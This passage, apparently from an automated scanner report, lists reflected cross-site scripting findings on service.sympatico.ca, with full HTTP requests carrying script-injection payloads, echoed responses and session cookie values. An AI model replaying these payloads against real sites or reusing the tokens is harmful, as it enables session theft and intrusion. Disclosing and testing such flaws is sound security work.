.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_submit_medium.gif7082b"><script>alert(1)</script>c71ff5183b1" />
...[SNIP]...

2.123. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_submit_medium.gif [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_submit_medium.gif

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 83ae9"><script>alert(1)</script>b15009c30f1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_submit_medium.gif?83ae9"><script>alert(1)</script>b15009c30f1=1 HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:16:46 GMT
Connection: close
Set-Cookie: SMSESSION=dZtblb/rHjmNmGai4J9f1ujnO7bfTqivCzdFb/MVDiOq8d1n6xkfq2U1rCITw8W5YtHvO61JSuxhLVExngBaqNs1jf3vyh7ob9hAEnZS/3m+iTGmSk97HDZhJzxweuZQVPqkmNL4sXc7yoKFmugeoVAdAASiC9i89xoommUwMLW01ya5U6OYR9P5veLo6/7/m9aj/ft6SIFj88BLNyahpDj0fShnbVGdsW1WqsmN0jNNYxCtZwmkQI10hyUnroUVsHA5ekov1a0Ym5oP8WGxs4l2miUd2fS74u3i15pjE0VrZCbExgfCag==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:16:47 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:16:47 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:16:47 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:16:47 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:16:47 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:16:47 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:16:47 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:16:47 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:16:47 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:16:47 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:16:47 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:16:47 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:16:47 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:16:47 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_submit_medium.gif?83ae9"><script>alert(1)</script>b15009c30f1=1" />
...[SNIP]...

2.124. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_submit_small.gif [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_submit_small.gif

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 680de"><script>alert(1)</script>7f7114f00b9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C680de"><script>alert(1)</script>7f7114f00b9/images/buttons/bt_submit_small.gif HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:08 GMT
Connection: close
Set-Cookie: SMSESSION=ODVuMduKLqKr8ORSLNzfgw15cKpAomIi8mut3UBOZCTLmCMuxpU1wZKN9ZQEUIlCmHhaQWwlJOofpaVg/kipSkC3MeuVY9a6oYbsjM0M9RswzvRAO9RGU5szBmYo+DWOVZXcl1IZ9y/vfJN+qW+Z0hWSt8QxUGKsRdvUuV/pxyKE1Wxx5+KOz+Qr7Ty+MtAC4lXIHUojAll9opQnv7p2us+uSUoXcDcd1L5jc3zYdn+Yx7syNMfwT+cyM5fg/XTFvYRggYYEpfSMzY5J1hM6AZkbAGJ1IU2pNhp2gQTUZWwRWVXUbJVDWg==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:09 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:09 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:09 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:09 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:09 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:09 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:09 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:09 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:09 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:09 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:09 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:09 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:09 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:09 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
e="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C680de"><script>alert(1)</script>7f7114f00b9/images/buttons/bt_submit_small.gif" />
...[SNIP]...

2.125. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_submit_small.gif [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_submit_small.gif

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4cf9d"><script>alert(1)</script>0b2e8dc7447 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images4cf9d"><script>alert(1)</script>0b2e8dc7447/buttons/bt_submit_small.gif HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:16 GMT
Connection: close
Set-Cookie: SMSESSION=+A7X6FGaxmZJ9FjqeNKrr2rWdXMM2IMVivInblJGVC2fbrSPCvbFJiwkX21czyh5HvQVD/8wQNb1tvPWYPzqkhn/Qi8mphmLQIxFo7nNF1ex50KMfdYtuBtRrCPWCGj33ShhdLdkoGYHlqfp6rczDDA+xAK/11+sEZMcl0HVrTV3piPPeouTYjk0Cym/HloPkJPVi68zYJAD5VAfowoOHigCLcfWP0Imq36/vUqyJPGnUQMJxld/V5wk+XP4BSDS8ZtUYdKtcDM0yYM8dGlXiV6hWkJIugkJDkLZ1YbvPFjF5RbYNyS+tQ==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:17 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:17 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:17 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:17 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:17 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3B